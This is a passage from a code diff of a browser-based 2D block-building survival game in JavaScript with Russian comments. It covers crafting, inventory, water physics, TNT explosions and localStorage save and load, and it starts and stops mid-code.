n:'Жареное мясо', icon:'🍖', food:45 } + }; + + // Seed мира для детерминированной генерации + // Инициализируем случайным seed, но он будет перезаписан сервером в мультиплеере + let worldSeed = Math.floor(Math.random() * 1000000); + + // Отслеживание изменений мира (для оптимизированного сохранения) + let placedBlocks = []; // [{gx, gy, t}] - блоки, установленные игроком + let removedBlocks = []; // [{gx, gy}] - блоки, удалённые игроком + + // Инструменты + const TOOLS = { + wood_pickaxe: { n:'Деревянная кирка', icon:'⛏️', durability: 60, miningPower: 1, craft: { wood: 3, planks: 2 } }, + stone_pickaxe: { n:'Каменная кирка', icon:'⛏️', durability: 130, miningPower: 2, craft: { wood: 1, stone: 3 } }, + iron_pickaxe: { n:'Железная кирка', icon:'⛏️', durability: 250, miningPower: 3, craft: { wood: 1, iron_ore: 2 } }, + wood_sword: { n:'Деревянный меч', icon:'⚔️', durability: 40, damage: 5, craft: { wood: 2, planks: 1 } }, + stone_sword: { n:'Каменный меч', icon:'⚔️', durability: 100, damage: 8, craft: { wood: 1, stone: 2 } }, + iron_sword: { n:'Железный меч', icon:'⚔️', durability: 200, damage: 12, craft: { wood: 1, iron_ore: 1 } } + }; + + // Текстуры блоков (простые) + const tex = {}; + function makeTex(type) { + const t = BLOCKS[type]; + const c = document.createElement('canvas'); + c.width = 32; c.height = 32; + const g = c.getContext('2d'); + + if (type === 'tnt') { + g.fillStyle='#c0392b'; g.fillRect(0,0,32,32); + g.fillStyle='#fff'; g.fillRect(0,12,32,8); + g.fillStyle='#000'; g.font='bold 10px sans-serif'; g.fillText('TNT',6,20); + return c; + } + if (type === 'campfire') { + g.fillStyle='#5d4037'; g.fillRect(4,26,24,6); + g.fillStyle='#3e2723'; g.fillRect(7,23,18,4); + return c; + } + if (type === 'torch') { + g.fillStyle='#6d4c41'; g.fillRect(14,10,4,18); + g.fillStyle='#f39c12'; g.fillRect(12,6,8,8); + return c; + } + if (type === 'glass') { + g.fillStyle='rgba(200,240,255,0.25)'; g.fillRect(0,0,32,32); + g.strokeStyle='rgba(255,255,255,0.65)'; g.strokeRect(2,2,28,28); + g.beginPath(); g.moveTo(5,27); g.lineTo(27,5); g.stroke(); + return c; + } + if (type === 'water') { + g.fillStyle = t.c; g.fillRect(0,0,32,32); + g.fillStyle = 'rgba(255,255,255,0.08)'; + g.fillRect(0,6,32,2); + return c; + } + if (type === 'bed') { + // Основание кровати + g.fillStyle = '#e91e63'; + g.fillRect(0, 0, 32, 32); + // Подушка + g.fillStyle = '#f8bbd0'; + g.fillRect(2, 2, 14, 14); + // Одеяло + g.fillStyle = '#c2185b'; + g.fillRect(16, 4, 14, 24); + // Детали одеяла + g.fillStyle = '#e91e63'; + g.fillRect(18, 6, 10, 20); + return c; + } + if (type === 'flower') { + g.fillStyle='#2ecc71'; g.fillRect(14,14,4,18); + g.fillStyle=t.c; g.beginPath(); g.arc(16,12,6,0,6.28); g.fill(); + return c; + } + if (type === 'boat') { + // Корпус лодки + g.fillStyle = '#8B4513'; + g.fillRect(2, 12, 28, 8); + // Борта + g.fillStyle = '#A0522D'; + g.fillRect(0, 10, 32, 12); + // Внутренность + g.fillStyle = '#DEB887'; + g.fillRect(4, 14, 24, 4); + // Дно + g.fillStyle = '#654321'; + g.fillRect(2, 20, 28, 4); + return c; + } + if (type === 'ladder') { + // Боковые стойки лестницы + g.fillStyle = '#8B4513'; + g.fillRect(4, 0, 4, 32); + g.fillRect(24, 0, 4, 32); + // Ступени + g.fillStyle = '#A0522D'; + g.fillRect(4, 4, 24, 3); + g.fillRect(4, 12, 24, 3); + g.fillRect(4, 20, 24, 3); + g.fillRect(4, 28, 24, 3); + return c; + } + + g.fillStyle = t.c || '#000'; + g.fillRect(0,0,32,32); + + g.fillStyle = 'rgba(0,0,0,0.10)'; + for (let i=0;i<6;i++) g.fillRect((Math.random()*28)|0, (Math.random()*28)|0, 4,4); + + if (type.endsWith('_ore') || type==='coal') { + g.fillStyle = 'rgba(0,0,0,0.35)'; + for (let i=0;i<4;i++) g.fillRect((Math.random()*24)|0, (Math.random()*24)|0, 6,6); + } + return c; + } + Object.keys(BLOCKS).forEach(k => tex[k] = makeTex(k)); + + // Мир-хранилище + const grid = new Map(); // key "gx,gy" => {gx,gy,t, ...} + const blocks = []; // для рендера/перебора видимых + function k(gx,gy){ return gx+','+gy; } + function getBlock(gx,gy){ return grid.get(k(gx,gy)); } + function hasBlock(gx,gy){ return grid.has(k(gx,gy)); } + function isSolid(gx,gy){ + const b = getBlock(gx,gy); + if(!b || b.dead) return false; + const def = BLOCKS[b.t]; + return !!def.solid && !def.fluid && !def.decor; + } + function setBlock(gx,gy,t, isPlayerPlaced = false){ + const key = k(gx,gy); + if(grid.has(key)) return false; + const b = { gx, gy, t, dead:false, active:false, fuse:0 }; + grid.set(key, b); + blocks.push(b); + + // Отслеживаем блоки, установленные игроком + if(isPlayerPlaced){ + placedBlocks.push({gx, gy, t}); + } + + return true; + } + function removeBlock(gx,gy){ + const key = k(gx,gy); + const b = grid.get(key); + if(!b) return null; + if(BLOCKS[b.t].unbreakable) return null; + grid.delete(key); + b.dead = true; + + // Отслеживаем удалённые блоки + const wasPlayerPlaced = placedBlocks.some(pb => pb.gx === gx && pb.gy === gy); + if(wasPlayerPlaced){ + // Удаляем из placedBlocks + placedBlocks = placedBlocks.filter(pb => !(pb.gx === gx && pb.gy === gy)); + } else { + // Это природный блок - добавляем в removedBlocks + removedBlocks.push({gx, gy}); + } + + return b; + } + + // Физика жидкости + const waterUpdateQueue = new Set(); + let waterUpdateTimer = 0; + const WATER_UPDATE_INTERVAL = 0.05; // Обновляем воду каждые 0.05 секунды + + function updateWaterPhysics(dt){ + waterUpdateTimer += dt; + if(waterUpdateTimer < WATER_UPDATE_INTERVAL) return; + waterUpdateTimer = 0; + + // Ограничиваем количество водных блоков для обработки (оптимизация) + const MAX_WATER_BLOCKS_PER_UPDATE = 50; + let processedCount = 0; + + // Собираем только видимые водные блоки в очередь (оптимизация) + waterUpdateQueue.clear(); + const minGX = Math.floor(camX/TILE) - 10; + const maxGX = Math.floor((camX+W)/TILE) + 10; + const minGY = Math.floor(camY/TILE) - 10; + const maxGY = Math.floor((camY+H)/TILE) + 10; + + for(const b of blocks){ + if(processedCount >= MAX_WATER_BLOCKS_PER_UPDATE) break; + if(!b.dead && b.t === 'water' && + b.gx >= minGX && b.gx <= maxGX && + b.gy >= minGY && b.gy <= maxGY){ + waterUpdateQueue.add(k(b.gx, b.gy)); + processedCount++; + } + } + + // Обновляем воду с ограничением глубины распространения + const processed = new Set(); + const toAdd = []; + const MAX_WATER_DEPTH = 20; // Максимальная глубина распространения воды + + for(const key of waterUpdateQueue){ + if(processed.has(key)) continue; + const b = grid.get(key); + if(!b || b.dead) continue; + processed.add(key); + + const gx = b.gx; + const gy = b.gy; + + // Проверяем глубину - не распространяем воду слишком глубоко + if(gy > SEA_GY + MAX_WATER_DEPTH) continue; + + // Проверяем, можно ли воде упасть вниз + const belowKey = k(gx, gy + 1); + const below = grid.get(belowKey); + + // Внизу пусто - вода создаёт новый блок внизу (но не удаляется сверху) + if(!below || below.dead){ + // Ограничиваем создание новых водных блоков + if(toAdd.length < 20){ // Максимум 20 новых блоков за обновление + toAdd.push({gx, gy: gy + 1, t: 'water'}); + processed.add(belowKey); + } + continue; + } + + // Если внизу не вода и не твёрдый блок - вода может течь вниз + if(!isSolid(gx, gy + 1) && below && below.t !== 'water'){ + if(toAdd.length < 20){ + toAdd.push({gx, gy: gy + 1, t: 'water'}); + processed.add(belowKey); + } + continue; + } + + // Если внизу твёрдый блок или вода - вода растекается горизонтально + // Проверяем левую сторону + const leftKey = k(gx - 1, gy); + const left = grid.get(leftKey); + if(!left || left.dead){ + if(toAdd.length < 20){ + toAdd.push({gx: gx - 1, gy, t: 'water'}); + processed.add(leftKey); + } + continue; + } + + // Проверяем правую сторону + const rightKey = k(gx + 1, gy); + const right = grid.get(rightKey); + if(!right || right.dead){ + if(toAdd.length < 20){ + toAdd.push({gx: gx + 1, gy, t: 'water'}); + processed.add(rightKey); + } + continue; + } + } + + // Применяем изменения (только добавляем новые блоки) + for(const newData of toAdd){ + const key = k(newData.gx, newData.gy); + if(!grid.has(key)){ + const b = { + gx: newData.gx, + gy: newData.gy, + t: newData.t, + dead: false, + active: false, + fuse: 0 + }; + grid.set(key, b); + blocks.push(b); + } + } + + // Очищаем мёртвые блоки из массива + for(let i = blocks.length - 1; i >= 0; i--){ + if(blocks[i].dead){ + blocks.splice(i, 1); + } + } + } + + // Инвентарь + const inv = { + dirt:6, stone:0, sand:0, gravel:0, clay:0, + wood:0, planks:0, ladder:0, leaves:0, coal:0, + copper_ore:0, iron_ore:0, gold_ore:0, diamond_ore:0, + brick:0, glass:0, + tnt:1, campfire:0, torch:0, + meat:0, cooked:0, + wood_pickaxe:0, stone_pickaxe:0, iron_pickaxe:0, + wood_sword:0, stone_sword:0, iron_sword:0, + bed:0, boat:0 + }; + let selected = 'dirt'; + + const RECIPES = [ + { out:'planks', qty:4, cost:{ wood:1 } }, + { out:'ladder', qty:3, cost:{ planks:7 } }, + { out:'torch', qty:2, cost:{ coal:1, planks:1 } }, + { out:'glass', qty:1, cost:{ sand:3 } }, + { out:'brick', qty:1, cost:{ stone:2, clay:1 } }, + { out:'campfire', qty:1, cost:{ wood:1, coal:1 } }, + { out:'tnt', qty:1, cost:{ sand:2, coal:1 } }, + { out:'bed', qty:1, cost:{ wood: 3, planks: 3 } }, + { out:'boat', qty:1, cost:{ wood: 5 } }, + { out:'wood_pickaxe', qty:1, cost:{ wood: 3, planks: 2 } }, + { out:'stone_pickaxe', qty:1, cost:{ wood: 1, stone: 3 } }, + { out:'iron_pickaxe', qty:1, cost:{ wood: 1, iron_ore: 2 } }, + { out:'wood_sword', qty:1, cost:{ wood: 2, planks: 1 } }, + { out:'stone_sword', qty:1, cost:{ wood: 1, stone: 2 } }, + { out:'iron_sword', qty:1, cost:{ wood: 1, iron_ore: 1 } } + ]; + + // UI + const hpEl = document.getElementById('hp'); + const foodEl = document.getElementById('food'); + const sxEl = document.getElementById('sx'); + const syEl = document.getElementById('sy'); + const todEl = document.getElementById('tod'); + const worldIdEl = document.getElementById('worldId'); + const playerCountEl = document.getElementById('playerCount'); + const hotbarEl = document.getElementById('hotbar'); + const craftPanel = document.getElementById('craftPanel'); + const recipesEl = document.getElementById('recipes'); + const deathEl = document.getElementById('death'); + const inventoryPanel = document.getElementById('inventoryPanel'); + const inventoryGrid = document.getElementById('inventoryGrid'); + + // Клик на часы для включения ночи + todEl.style.cursor = 'pointer'; + todEl.onclick = () => { + playSound('click'); + worldTime = 0.6; // Устанавливаем ночь + isNightTime = true; + }; + + function rebuildHotbar(){ + hotbarEl.innerHTML=''; + + // Показываем последние 5 выбранных предметов (если они есть в инвентаре) + const items = recentItems.filter(id => inv[id] > 0).slice(0, 5); + + for(const id of items){ + const s = document.createElement('div'); + s.className = 'slot'+(id===selected?' sel':''); + if(BLOCKS[id]) { + s.style.backgroundImage = `url(${tex[id].toDataURL()})`; + s.style.backgroundSize = 'cover'; + } else if(ITEMS[id]) { + s.textContent = ITEMS[id].icon; + } else if(TOOLS[id]) { + s.textContent = TOOLS[id].icon; + } + const c = document.createElement('div'); + c.className='count'; + c.textContent = inv[id]; + s.appendChild(c); + s.onclick = () => { + playSound('click'); // Звук клика по инвентарю + selected=id; + // Обновляем список последних предметов + recentItems = recentItems.filter(item => item !== id); // Удаляем если уже есть + recentItems.unshift(id); // Добавляем в начало + recentItems = recentItems.slice(0, 5); // Оставляем только 5 + rebuildHotbar(); + }; + hotbarEl.appendChild(s); + } + } + + function renderInventory() { + inventoryGrid.innerHTML = ''; + + // Создаём сетку инвентаря 7x3 + const items = Object.keys(inv).filter(id => inv[id] > 0); + + // Добавляем пустые слоты для полной сетки + for(let i = 0; i < 21; i++) { + const slot = document.createElement('div'); + slot.className = 'inv-slot' + (i < items.length && items[i] === selected ? ' sel' : ''); + + if(i < items.length) { + const id = items[i]; + if(BLOCKS[id]) { + slot.style.backgroundImage = `url(${tex[id].toDataURL()})`; + slot.style.backgroundSize = 'cover'; + } else if(ITEMS[id]) { + slot.textContent = ITEMS[id].icon; + } else if(TOOLS[id]) { + slot.textContent = TOOLS[id].icon; + } + + const count = document.createElement('div'); + count.className = 'inv-count'; + count.textContent = inv[id]; + slot.appendChild(count); + + slot.onclick = () => { + playSound('click'); // Звук клика по инвентарю + selected = id; + // Обновляем список последних предметов + recentItems = recentItems.filter(item => item !== id); // Удаляем если уже есть + recentItems.unshift(id); // Добавляем в начало + recentItems = recentItems.slice(0, 5); // Оставляем только 5 + rebuildHotbar(); + renderInventory(); + }; + } + + inventoryGrid.appendChild(slot); + } + } + + function canCraft(r){ + for(const res in r.cost){ + if((inv[res]||0) < r.cost[res]) return false; + } + return true; + } + function renderCraft(){ + recipesEl.innerHTML=''; + for(const r of RECIPES){ + const row = document.createElement('div'); + row.className='recipe'; + const icon = document.createElement('div'); + icon.className='ricon'; + icon.style.backgroundImage = `url(${tex[r.out].toDataURL()})`; + const info = document.createElement('div'); + info.className='rinfo'; + const nm = document.createElement('div'); + nm.className='rname'; + nm.textContent = `${BLOCKS[r.out].n} x${r.qty}`; + const cs = document.createElement('div'); + cs.className='rcost'; + cs.textContent = Object.keys(r.cost).map(x => `${BLOCKS[x].n}: ${(inv[x]||0)}/${r.cost[x]}`).join(' '); + info.appendChild(nm); info.appendChild(cs); + const btn = document.createElement('button'); + btn.className='rcraft'; + btn.textContent='Создать'; + btn.disabled = !canCraft(r); + btn.onclick = () => { + if(!canCraft(r)) return; + playSound('click'); // Звук клика по кнопке крафта + for(const res in r.cost) inv[res]-=r.cost[res]; + inv[r.out] = (inv[r.out]||0) + r.qty; + rebuildHotbar(); + renderCraft(); + }; + row.appendChild(icon); row.appendChild(info); row.appendChild(btn); + recipesEl.appendChild(row); + } + } + + let craftOpen=false; + let inventoryOpen = false; + + document.getElementById('craftBtn').onclick = () => { + playSound('click'); // Звук клика по кнопке + craftOpen = !craftOpen; + craftPanel.style.display = craftOpen ? 'block' : 'none'; + if(craftOpen) { + renderCraft(); + // Закрываем инвентарь если открыт крафт + inventoryOpen = false; + inventoryPanel.style.display = 'none'; + } + }; + document.getElementById('craftClose').onclick = () => { + playSound('click'); // Звук клика по кнопке + craftOpen = false; + craftPanel.style.display = 'none'; + }; + + // Кнопка открытия инвентаря + document.getElementById('invToggle').onclick = () => { + playSound('click'); // Звук клика по кнопке + inventoryOpen = true; + inventoryPanel.style.display = 'block'; + renderInventory(); + // Закрываем крафт если открыт инвентарь + craftOpen = false; + craftPanel.style.display = 'none'; + }; + + document.getElementById('inventoryClose').onclick = () => { + playSound('click'); // Звук клика по кнопке + inventoryOpen = false; + inventoryPanel.style.display = 'none'; + }; + + // Кнопка сохранения игры (только для одиночного режима) + const saveBtn = document.getElementById('saveBtn'); + saveBtn.onclick = () => { + playSound('click'); + saveGame(); + alert('Игра сохранена!'); + }; + + // Кнопка сброса игры (удаление сохранения и создание нового мира) + const resetBtn = document.getElementById('resetBtn'); + resetBtn.onclick = () => { + if (confirm('Вы уверены, что хотите удалить сохранение и начать новую игру?')) { + playSound('click'); + + // Удаляем сохранение из localStorage + try { + localStorage.removeItem(SAVE_KEY); + console.log('Сохранение удалено из localStorage'); + } catch (e) { + console.warn('Ошибка удаления сохранения:', e); + } + + // Сбрасываем in-memory сохранение + inMemorySave = null; + + // Генерируем новый worldId + worldId = Math.random().toString(36).substring(2, 10); + console.log('Новый worldId после сброса:', worldId); + + // Обновляем URL + try { + const newUrl = new URL(window.location.href); + newUrl.searchParams.set('world', worldId); + const newUrlString = newUrl.toString(); + + if (typeof window.history !== 'undefined' && typeof window.history.replaceState === 'function') { + window.history.replaceState(null, '', newUrlString); + console.log('URL обновлён:', newUrlString); + } + } catch (e) { + console.error('Ошибка обновления URL:', e); + } + + // Перезагружаем страницу + location.reload(); + } + }; + + // Показываем кнопку сохранения только если играем одни + function updateSaveButtonVisibility() { + if (isMultiplayer && otherPlayers.size > 0) { + saveBtn.style.display = 'none'; + } else { + saveBtn.style.display = 'flex'; + } + } + + // Режимы + const MODES = [{id:'move',icon:'🏃'},{id:'mine',icon:'⛏️'},{id:'build',icon:'🧱'}]; + let modeIdx=0; + const modeBtn = document.getElementById('modeBtn'); + function mode(){ return MODES[modeIdx].id; } + modeBtn.onclick = () => { + playSound('click'); // Звук клика по кнопке режима + modeIdx=(modeIdx+1)%MODES.length; modeBtn.textContent=MODES[modeIdx].icon; + }; + + // День/ночь (автоматический цикл) + let isNightTime = false; + + // Управление + const inp = { l:false, r:false, j:false }; + function bindHold(el, key){ + const down=(e)=>{ e.preventDefault(); inp[key]=true; }; + const up=(e)=>{ e.preventDefault(); inp[key]=false; }; + el.addEventListener('pointerdown', down); + el.addEventListener('pointerup', up); + el.addEventListener('pointerleave', up); + } + bindHold(document.getElementById('left'),'l'); + bindHold(document.getElementById('right'),'r'); + bindHold(document.getElementById('jump'),'j'); + + window.addEventListener('keydown', (e)=>{ + if(e.code==='KeyA'||e.code==='ArrowLeft') inp.l=true; + if(e.code==='KeyD'||e.code==='ArrowRight') inp.r=true; + if(e.code==='Space'||e.code==='KeyW'||e.code==='ArrowUp') inp.j=true; + }); + window.addEventListener('keyup', (e)=>{ + if(e.code==='KeyA'||e.code==='ArrowLeft') inp.l=false; + if(e.code==='KeyD'||e.code==='ArrowRight') inp.r=false; + if(e.code==='Space'||e.code==='KeyW'||e.code==='ArrowUp') inp.j=false; + }); + + // Лодка + const boat = { + x: 0, y: 0, + w: 34, h: 34, + vx: 0, vy: 0, + active: false, + inWater: false + }; + + // Игрок + const player = { + x: 6*TILE, y: 0*TILE, + w: 34, h: 34, + vx: 0, vy: 0, + grounded: false, + inWater: false, + headInWater: false, + hp: 100, + hunger: 100, + o2: 100, + invuln: 0, + fallStartY: 0, + lastStepTime: 0, + sleeping: false, + inBoat: false + }; + + // Сохраняем начальную позицию для возрождения + const spawnPoint = { x: 6*TILE, y: 0*TILE }; + + // Система сохранения игры (localStorage + in-memory fallback) + const SAVE_KEY = 'minegrechka_save'; + let db = null; // Оставляем для совместимости, но не используем + let inMemorySave = null; // Запасное сохранение в памяти + + // Инициализация (localStorage + in-memory fallback) + function initDB(){ + return new Promise((resolve) => { + console.log('Используем localStorage для сохранений (sandbox режим)'); + resolve(null); + }); + } + + // Детерминированный генератор псевдослучайных чисел на основе seed + function seededRandom(gx, gy){ + const n = Math.sin(gx * 12.9898 + gy * 78.233 + worldSeed * 0.1) * 43758.5453; + return n - Math.floor(n); + } + + function saveGame(){ + const saveData = { + version: 2, + worldSeed: worldSeed, + player: { + x: player.x, + y: player.y, + hp: player.hp, + hunger: player.hunger, + o2: player.o2 + }, + inventory: inv, + time: worldTime, + isNight: isNightTime, + // Сохраняем только изменения + placedBlocks: placedBlocks.slice(), + removedBlocks: removedBlocks.slice() + }; + + const saveSize = JSON.stringify(saveData).length; + console.log('Сохранение: player HP:', player.hp, 'hunger:', player.hunger, 'o2:', player.o2); + + // Пробуем сохранить в localStorage (основной метод для персистентности) + try { + localStorage.setItem(SAVE_KEY, JSON.stringify(saveData)); + console.log(`Игра сохранена в localStorage (размер: ${saveSize} байт)`); + } catch(e){ + console.warn('Ошибка сохранения в localStorage, используем только in-memory:', e); + + // Если localStorage недоступен, используем in-memory fallback + inMemorySave = saveData; + console.log(`Игра сохранена в памяти (размер: ${saveSize} байт)`); + } + } + + function loadGame(){ + return new Promise((resolve, reject) => { + // Пробуем localStorage + try { + const localSave = localStorage.getItem(SAVE_KEY); + if(localSave){ + const parsed = JSON.parse(localSave); + console.log('Загружено из localStorage, player HP:', parsed.player?.hp); + resolve(parsed); + return; + } + } catch(e){ + console.warn('Ошибка доступа к localStorage:', e); + } + + // Если localStorage недоступен, используем in-memory сохранение + if(inMemorySave){ + console.log('Загружено из in-memory сохранения, player HP:', inMemorySave.player?.hp); + resolve(inMemorySave); + return; + } + + console.log('Сохранение не найдено'); + resolve(null); + }); + } + + // Миграция с версии 1 на версию 2 + function migrateV1toV2(saveData){ + console.log('Миграция сохранения с версии 1 на версию 2...'); + + // Сохраняем seed из текущей игры (так как v1 его не хранил) + saveData.worldSeed = worldSeed; + + // Инициализируем массивы изменений + saveData.placedBlocks = []; + saveData.removedBlocks = []; + + // Для v1 нам нужно сравнить сгенерированные блоки с тем, что должно быть по seed + // Это сложно сделать без полной перегенерации, поэтому для v1 сохраняем только seed + // и при загрузке просто перегенерируем мир + + // Удаляем старые данные + delete saveData.generatedBlocks; + + saveData.version = 2; + console.log('Миграция завершена'); + } + + async function applySave(saveData){ + if(!saveData) return; + + console.log('=== applySave START ==='); + console.log('player HP before applySave:', player.hp); + console.log('saveData.player.hp:', saveData.player?.hp); + + // Миграция версий + if(saveData.version === 1){ + migrateV1toV2(saveData); + } + + // Восстанавливаем seed + if(saveData.worldSeed !== undefined){ + worldSeed = saveData.worldSeed; + } + + // Восстанавливаем игрока + if(saveData.player){ + player.x = saveData.player.x; + player.y = saveData.player.y; + player.hunger = saveData.player.hunger; + player.o2 = saveData.player.o2; + + // Обновляем spawnPoint на позицию из сохранения + spawnPoint.x = player.x; + spawnPoint.y = player.y; + + // Проверяем HP из сохранения - если <= 0, устанавливаем 100 + const savedHP = saveData.player.hp; + console.log('Saved HP from file:', savedHP); + if(savedHP <= 0){ + console.log('WARNING: Saved HP is <= 0, setting to 100!'); + player.hp = 100; + } else { + player.hp = savedHP; + } + console.log('player HP after restore:', player.hp); + console.log('spawnPoint обновлён из сохранения: x=', spawnPoint.x, 'y=', spawnPoint.y); + } else { + console.log('No player data in save, setting default HP: 100'); + player.hp = 100; + } + + console.log('=== applySave END ==='); + + // Восстанавливаем инвентарь + if(saveData.inventory){ + for(const key in saveData.inventory){ + inv[key] = saveData.inventory[key]; + } + } + + // Восстанавливаем время + if(saveData.time !== undefined){ + worldTime = saveData.time; + } + + // Восстанавливаем день/ночь + if(saveData.isNight !== undefined){ + isNightTime = saveData.isNight; + } + + // Перегенерируем мир по seed + regenerateVisibleChunks(); + + // Применяем изменения (только для v2) + if(saveData.version === 2){ + // Применяем блоки, установленные игроком + for(const block of saveData.placedBlocks){ + setBlock(block.gx, block.gy, block.t, true); + } + + // Применяем удалённые блоки + for(const block of saveData.removedBlocks){ + removeBlock(block.gx, block.gy); + } + + // Восстанавливаем массивы изменений + placedBlocks = saveData.placedBlocks || []; + removedBlocks = saveData.removedBlocks || []; + } + + rebuildHotbar(); + console.log('Игра загружена'); + } + + // Камера (двухосевая) + let camX=0, camY=0; + + // День/ночь + let worldTime=0; + const DAY_LEN=360; // замедлил смену дня/ночи в 3 раза + + // Облака + const clouds = Array.from({length:10}, ()=>({ + x: Math.random()*2000, + y: -200 - Math.random()*260, // выше экрана, потому что мир по Y теперь двигается + w: 80+Math.random()*120, + s: 12+Math.random()*20 + })); + + // Частицы (взрыв) + const parts = []; + function spawnExplosion(x,y, power){ + const n = Math.floor(16 + power*10); + for(let i=0;i 100){ + playSound('splash'); + } + } + + function resolveY(e){ + // Всегда пересчитываем grounded (не держим "липким") + e.grounded = false; + + const x1 = e.x + 2; + const x2 = e.x + e.w - 2; + + // Проверяем, находится ли игрок на лестнице + const cx = e.x + e.w/2; + const cy = e.y + e.h/2; + const gx = Math.floor(cx / TILE); + const gy = Math.floor(cy / TILE); + const b = getBlock(gx, gy); + const onLadder = b && BLOCKS[b.t] && BLOCKS[b.t].climbable; + + // Если на лестнице - можно двигаться вверх/вниз + if(onLadder && e === player){ + e.grounded = true; + e.vy *= 0.8; // замедляем падение на лестнице + + // Если нажимаем прыжок на лестнице - поднимаемся + if(inp.j && e.vy > -200){ + e.vy = -200; + } + // Если не нажимаем прыжок - медленно спускаемся + else if(!inp.j && e.vy > 0){ + e.vy = Math.min(e.vy, 100); + } + return; + } + + // 1) Если движемся вниз ИЛИ стоим (vy >= 0) — проверяем опору под ногами + // Берём точку на 1px ниже стопы, чтобы не зависеть от ровного попадания в границу тайла. + if(e.vy >= 0){ + const probeY = e.y + e.h + 1; + const gy = Math.floor(probeY / TILE); + const gxA = Math.floor(x1 / TILE); + const gxB = Math.floor(x2 / TILE); + + if(isSolid(gxA, gy) || isSolid(gxB, gy)){ + e.y = gy * TILE - e.h; // прижимаем к полу + e.vy = 0; + e.grounded = true; + + // урон от падения — только игроку и только не в воде + if(e === player && !player.inWater){ + const fallTiles = (e.y - e.fallStartY) / TILE; + if(fallTiles > 6) player.hp -= (fallTiles - 6) * 10; + } + if(e === player) e.fallStartY = e.y; + } + } + + // 2) Проверка на возможность запрыгнуть на блок, если игрок рядом с ним + if(e.vy < 0 && e === player){ + const gy = Math.floor(e.y / TILE); + const gxA = Math.floor(x1 / TILE); + const gxB = Math.floor(x2 / TILE); + + // Проверяем, есть ли блок рядом с игроком + if((isSolid(gxA, gy) || isSolid(gxB, gy)) && !isSolid(gxA, gy - 1) && !isSolid(gxB, gy - 1)){ + e.y = (gy + 1) * TILE; + e.vy = 0; + e.grounded = true; + if(e === player) e.fallStartY = e.y; + console.log("Jumped onto block!"); + } + } + + // 2) Если движемся вверх — проверяем потолок + if(e.vy < 0){ + const gy = Math.floor(e.y / TILE); + const gxA = Math.floor(x1 / TILE); + const gxB = Math.floor(x2 / TILE); + if(isSolid(gxA, gy) || isSolid(gxB, gy)){ + e.y = (gy + 1) * TILE; + e.vy = 0; + } + } + } + + function resolveX(e){ + const y1 = e.y + 2; + const y2 = e.y + e.h - 2; + + if(e.vx > 0){ + const gx = Math.floor((e.x + e.w)/TILE); + const gyA = Math.floor(y1/TILE); + const gyB = Math.floor(y2/TILE); + if(isSolid(gx, gyA) || isSolid(gx, gyB)){ + e.x = gx*TILE - e.w; + e.vx = 0; + } + } else if(e.vx < 0){ + const gx = Math.floor(e.x/TILE); + const gyA = Math.floor(y1/TILE); + const gyB = Math.floor(y2/TILE); + if(isSolid(gx, gyA) || isSolid(gx, gyB)){ + e.x = (gx+1)*TILE; + e.vx = 0; + } + } + } + + // TNT логика: цепь + усиление + const activeTNT = new Set(); // хранит key + function activateTNT(b, fuse=3.2){ + if(b.dead) return; + if(b.active) return; + b.active=true; + b.fuse=fuse; + activeTNT.add(k(b.gx,b.gy)); + } + + function explodeAt(gx,gy){ + const center = getBlock(gx,gy); + if(!center) return; + + // усиление: считаем сколько TNT рядом (в радиусе 2) и активируем их «почти сразу» + let bonus = 0; + for(let x=gx-2; x<=gx+2; x++){ + for(let y=gy-2; y<=gy+2; y++){ + const b = getBlock(x,y); + if(b && !b.dead && b.t==='tnt' && !(x===gx && y===gy)){ + bonus += 0.8; + activateTNT(b, 0.12); // цепь + } + } + } + + const power = 1 + bonus; // условная мощность + const radius = 3.2 + bonus*0.7; // радиус разрушения в тайлах + const dmgR = 150 + bonus*60; // радиус урона в пикселях + + removeBlock(gx,gy); + activeTNT.delete(k(gx,gy)); + playSound('explode1'); // Звук взрыва + spawnExplosion(gx*TILE + TILE/2, gy*TILE + TILE/2, power); + + for(let x=Math.floor(gx-radius); x<=Math.ceil(gx+radius); x++){ + for(let y=Math.floor(gy-radius); y<=Math.ceil(gy+radius); y++){ + const d = Math.hypot(x-gx, y-gy); + if(d > radius) continue; + const b = getBlock(x,y); + if(!b || b.dead) continue; + if(BLOCKS[b.t].fluid) continue; + if(BLOCKS[b.t].unbreakable) continue; + if(b.t==='tnt') { activateTNT(b, 0.12); continue; } + removeBlock(x,y); + if(inv[b.t] !== undefined && Math.random()<0.20) inv[b.t]++; // немного дропа + } + } + rebuildHotbar(); + + // урон + const hurt = (e)=>{ + const dx = (e.x+e.w/2) - (gx*TILE+TILE/2); + const dy = (e.y+e.h/2) - (gy*TILE+TILE/2); + const dist = Math.hypot(dx,dy); + if(dist < dmgR){ + const dmg = (dmgR - dist) * 0.06 * power; + if(e === player) player.hp -= dmg; + else e.hp -= dmg; + e.vx += (dx/dist || 0) * 600; + e.vy -= 320; + } + }; + hurt(player); + mobs.forEach(hurt); + } + + // Взаимодействие мышь/тап + const mouse = { x:null, y:null }; + canvas.addEventListener('pointermove', (e)=>{ + const r = canvas.getBoundingClientRect(); + mouse.x = e.clientX - r.left; + mouse.y = e.clientY - r.top; + }); + + canvas.addEventListener('pointerdown', (e)=>{ + if(craftOpen) return; + if(player.hp<=0) return; + + const r = canvas.getBoundingClientRect(); + const sx = e.clientX - r.left; + const sy = e.clientY - r.top; + + const wx = sx + camX; + const wy = sy + camY; + + const gx = Math.floor(wx / TILE); + const gy = Math.floor(wy / TILE); + + // Пробуждение: клик по любой кровати когда спишь + const b = getBlock(gx,gy); + if(player.sleeping && b && b.t==='bed'){ + player.sleeping = false; + return; + } + + if(player.sleeping) return; // Нельзя взаимодействовать во время сна + + // клик по мобу (в режиме mine) + if(mode()==='mine'){ + for(let i=mobs.length-1;i>=0;i--){ + const m = mobs[i]; + if(wx>=m.x && wx<=m.x+m.w && wy>=m.y && wy<=m.y+m.h){ + m.hp -= 1; + m.vx += (m.x - player.x) * 2; + m.vy -= 200; + playSound('attack'); // Звук атаки игрока + if(m.hp<=0){ + // дроп еды + if(m.kind === 'chicken') playSound('hurt_chicken'); // Звук при убийстве курицы + inv.meat += (m.kind==='chicken' ? 1 : 2); + mobs.splice(i,1); + rebuildHotbar(); + } + return; + } + } + } + + // еда (предмет) + if(ITEMS[selected] && inv[selected]>0){ + const it = ITEMS[selected]; + if(player.hp < 100 || player.hunger < 100){ + playSound('eat1'); // Звук употребления еды + player.hunger = Math.min(100, player.hunger + it.food); + player.hp = Math.min(100, player.hp + 15); + inv[selected]--; + rebuildHotbar(); + } + return; + } + + // жарка на костре: выбран meat + клик по campfire + if(b && b.t==='campfire' && selected==='meat' && inv.meat>0){ + 